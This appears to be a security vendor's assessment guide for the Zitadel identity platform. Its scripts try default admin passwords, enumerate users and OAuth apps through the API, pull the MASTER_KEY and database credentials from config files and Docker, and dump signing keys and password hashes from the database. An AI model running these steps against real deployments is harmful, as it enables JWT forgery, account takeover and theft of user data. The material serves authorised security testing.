Zitadel is a widely deployed open-source identity and access management platform (Keycloak/Auth0 alternative) used for centralized authentication, SSO, and OAuth/OIDC management — it controls authentication for all connected applications. Zitadel is a uniquely high-value target because compromising it means compromising authentication for every application in the organization. Key assessment areas: the MASTER_KEY is used to encrypt OIDC signing keys stored in the database; decrypting these signing keys enables forging valid JWTs for any connected application; the Zitadel gRPC-Gateway API allows enumerating all users, organizations, and OAuth applications; machine account keys provide service-level API access; and the database (CockroachDB or PostgreSQL) stores all identity data. This guide covers systematic Zitadel security assessment.
# Zitadel — default credentials and machine account testing
ZITADEL_URL="https://zitadel.example.com"
# Zitadel default setup credentials (from zitadel init)
# Check for default admin account: zitadel-admin@zitadel.localhost
# Password set during first-run setup — check for "Password1!" or "Admin1234!" patterns
# Machine account service user JWT flow for API access
# Get an access token using machine account key file
# (key file JSON generated when creating machine account service user)
KEY_FILE="./key.json"
if [ -f "$KEY_FILE" ]; then
ISSUER="${ZITADEL_URL}"
KEY_ID=$(cat $KEY_FILE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('keyId',''))")
USER_ID=$(cat $KEY_FILE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('userId',''))")
PRIVATE_KEY=$(cat $KEY_FILE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('key',''))")
# Generate JWT for service account authentication
node -e "
const crypto = require('crypto');
const fs = require('fs');
const key = JSON.parse(fs.readFileSync('${KEY_FILE}'));
const now = Math.floor(Date.now()/1000);
const header = Buffer.from(JSON.stringify({alg:'RS256',kid:key.keyId})).toString('base64url');
const payload = Buffer.from(JSON.stringify({
iss: key.userId,
sub: key.userId,
aud: '${ZITADEL_URL}',
iat: now,
exp: now+3600
})).toString('base64url');
const privKey = crypto.createPrivateKey(key.key);
const sig = crypto.sign('sha256', Buffer.from(header+'.'+payload), {key:privKey,padding:crypto.constants.RSA_PKCS1_PSS_PADDING}).toString('base64url');
console.log(header+'.'+payload+'.'+sig);
" 2>/dev/null
fi
# Exchange JWT for access token
JWT="your-machine-jwt"
curl -s -X POST "${ZITADEL_URL}/oauth/v2/token" \
--data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer" \
--data-urlencode "scope=openid urn:zitadel:iam:org:project:id:zitadel:aud" \
--data-urlencode "assertion=${JWT}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Access token: {d.get(\"access_token\",\"\")[:50]}...')
print(f'Type: {d.get(\"token_type\")} expires_in={d.get(\"expires_in\")}')
" 2>/dev/null
# Zitadel API — user, organization, and application enumeration
ZITADEL_URL="https://zitadel.example.com"
ACCESS_TOKEN="your-access-token"
ORG_ID="your-org-id"
# List all users in an organization
curl -s -X POST "${ZITADEL_URL}/management/v1/users/_search" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"query":{"offset":"0","limit":100,"asc":true}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('result',[])
print(f'Users: {d.get(\"details\",{}).get(\"totalResult\",len(users))} total')
for u in users[:10]:
h = u.get('human',u.get('machine',{}))
print(f' [{u.get(\"userId\")}] {h.get(\"email\",{}).get(\"email\",h.get(\"name\",\"\"))} state={u.get(\"state\")}')
" 2>/dev/null
# List all OAuth/OIDC applications
curl -s -X POST "${ZITADEL_URL}/management/v1/apps/_search" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"projectId":"YOUR_PROJECT_ID","query":{"offset":"0","limit":100}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('result',[])
print(f'Applications: {len(apps)}')
for a in apps[:10]:
oidc = a.get('oidcConfig',{})
print(f' [{a.get(\"id\")}] {a.get(\"name\")} clientId={oidc.get(\"clientId\",\"\")} redirect={oidc.get(\"redirectUris\",[])}')
" 2>/dev/null
# Admin API — list all instances (system-level admin)
curl -s -X POST "${ZITADEL_URL}/system/v1/instances/_search" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"query":{"offset":"0","limit":100}}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
instances = d.get('result',[])
print(f'Instances: {len(instances)}')
for i in instances[:5]:
print(f' [{i.get(\"id\")}] {i.get(\"domains\",[{}])[0].get(\"domain\",\"\")} state={i.get(\"state\")}')
" 2>/dev/null
# Zitadel MASTER_KEY and OIDC signing key extraction
# Zitadel configuration — MASTER_KEY location
# config.yaml or environment variable ZITADEL_MASTERKEY
cat /etc/zitadel/config.yaml 2>/dev/null | grep -E "MasterKey|masterKey|MASTER_KEY|Database|host:|port:|user:|password:"
cat /etc/zitadel/zitadel.yaml 2>/dev/null | grep -E "MasterKey|masterKey|Database"
# Docker environment variables
docker inspect zitadel 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['MASTER','KEY','DATABASE','HOST','PASS','USER']):
print(e)
" 2>/dev/null
# ZITADEL_MASTERKEY — AES-256-GCM key for encrypting OIDC signing keys
# CockroachDB / PostgreSQL access — Zitadel tables
DB_URL="postgresql://root@localhost:26257/zitadel"
# or: postgresql://zitadel:PASSWORD@localhost/zitadel
# encryption_keys table — OIDC signing keys encrypted with MASTER_KEY
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, key, is_symmetric, started_at, changed_at
FROM encryption_keys
LIMIT 20;
EOF
# key column — RSA private key for OIDC JWT signing, encrypted with MASTER_KEY
# Decrypt with MASTER_KEY using AES-256-GCM to get the raw RSA private key
# This RSA key signs all JWTs issued by Zitadel for every connected application
# app_oidc_configs — all OAuth client IDs and redirect URIs
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT app_id, client_id, client_secret, redirect_uris,
grant_types, auth_method_type, access_token_type
FROM app_oidc_configs
LIMIT 20;
EOF
# client_secret — hashed, but combined with client_id enables OAuth flow analysis
# users table — all identities managed by Zitadel
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, username, state, type, creation_date, change_date
FROM users
ORDER BY creation_date DESC
LIMIT 20;
EOF
# human_users — email addresses and password hashes
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT user_id, email, email_verified,
password_hash, password_change_required
FROM human_users
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| MASTER_KEY extraction and OIDC signing key decryption | Read config.yaml/env MASTER_KEY — AES-256-GCM encryption key; combined with DB access, decrypt RSA OIDC signing keys enabling JWT forgery for every connected application | Critical (catastrophic blast radius) |
| Default admin credential exploitation | POST /oauth/v2/token with default admin credentials — full IAM admin access enabling user creation, application management, and policy modification | Critical |
| API user and organization enumeration | POST /management/v1/users/_search — all users with emails and state; POST /management/v1/apps/_search — all OAuth applications with client IDs and redirect URIs | High |
| Machine account key file extraction | Access to machine account key JSON file — RSA private key for service account JWT authentication; enables long-lived API access with the machine account's permissions | Critical |
| PostgreSQL/CockroachDB human_users table access | SELECT from human_users — all user email addresses and bcrypt password hashes; enables offline password cracking for all Zitadel-managed user accounts | Critical |
Ironimo tests Zitadel deployments for MASTER_KEY extraction and OIDC signing key decryption capability assessment, default admin credential exploitation, machine account key file exposure, API user and application enumeration, encryption_keys table access, human_users password hash extraction, app_oidc_configs OAuth client configuration exposure, Docker environment variable credential exposure, organization isolation bypass testing, CockroachDB/PostgreSQL credential extraction, and IAM role privilege escalation testing.
Start free scan